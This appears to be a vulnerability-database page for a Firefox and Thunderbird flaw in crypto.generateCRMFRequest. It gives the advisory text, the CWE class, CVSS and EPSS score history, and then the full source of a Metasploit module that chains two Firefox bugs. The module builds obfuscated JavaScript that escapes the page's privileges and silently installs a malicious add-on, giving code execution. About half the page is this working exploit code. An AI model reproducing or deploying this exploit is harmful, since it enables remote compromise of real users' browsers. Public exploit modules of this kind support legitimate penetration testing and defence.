CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The crypto.generateCRMFRequest function in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird before 17.0.8, Thunderbird ESR 17.x before 17.0.8, and SeaMonkey before 2.20 allows remote attackers to execute arbitrary JavaScript code or conduct cross-site scripting (XSS) attacks via vectors related to Certificate Request Message Format (CRMF) request generation.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
44.92%
–
–
2023-03-12
–
–
–
94.9%
–
2023-03-19
–
–
–
94.59%
–
2023-12-31
–
–
–
93.44%
–
2024-02-25
–
–
–
92.99%
–
2024-06-02
–
–
–
92.99%
–
2024-06-30
–
–
–
92.74%
–
2024-11-03
–
–
–
91.86%
–
2024-12-22
–
–
–
91%
–
2025-01-19
–
–
–
91%
–
2025-03-18
–
–
–
–
79.22%
2025-03-18
–
–
–
–
79.22,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxAddonGenerator
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "5.0",
:ua_maxver => "15.0.1",
:javascript => true,
:rank => NormalRanking
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
'Description' => %q{
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
invalid input, would throw an exception that did not have an __exposedProps__
property set. By re-setting this property on the exception object's prototype,
the chrome-based defineProperty method is made available.
With the defineProperty method, functions belonging to window and document can be
overriden with a function that gets called from chrome-privileged context. From here,
another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
into the context's private scope. Since the window does not have a chrome:// URL,
the insecure parts of Components.classes are not available, so instead the AddonManager
API is invoked to silently install a malicious plugin.
},
'License' => MSF_LICENSE,
'Author' => [
'Mariusz Mlynski', # discovered CVE-2012-3993
'moz_bug_r_a4', # discovered CVE-2013-1710
'joev' # metasploit module
],
'DisclosureDate' => "Aug 6 2013",
'References' => [
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
],
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
], self.class)
end
def on_request_exploit(cli, request, target_info)
if request.uri.match(/\.xpi$/i)
print_status("Sending the malicious addon")
send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
else
print_status("Sending HTML")
res = generate_html(target_info,request.headers['Host'])
vprint_status res.to_s
send_response_html(cli, res)
end
end
def generate_html(target_info,refer)
injection = if target_info[:ua_ver].to_i == 15
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
else
"p2.constructor.defineProperty(obj,key,{get:runme});"
end
if refer.nil? or refer.blank?
redirect = "#{get_module_uri}/addon.xpi"
else
proto = ((datastore['SSL']) ? 'https' : 'http')
redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
end
script = js_obfuscate %Q|
try{InstallTrigger.install(0)}catch(e){p=e;};
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
p2.__exposedProps__={
constructor:'rw',
prototype:'rw',
defineProperty:'rw',
__exposedProps__:'rw'
};
var s = document.querySelector('#payload').innerHTML;
var q = false;
var register = function(obj,key) {
var runme = function(){
if (q) return;
q = true;
window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
};
try {
#{injection}
} catch (e) {}
};
for (var i in window) register(window, i);
for (var i in document) register(document, i);
|
js_payload = js_obfuscate %Q|
if (!window.done) {
window.AddonManager.getInstallForURL(
'#{redirect}',
function(install) { install.install() },
'application/x-xpinstall'
);
window.done = true;
}
|
%Q|
<html>
<body>
#{datastore['CONTENT']}
<div id='payload' style='display:none'>
#{js_payload}
</div>
<script>
#{script}
</script>
</body>
</html>
|
end
end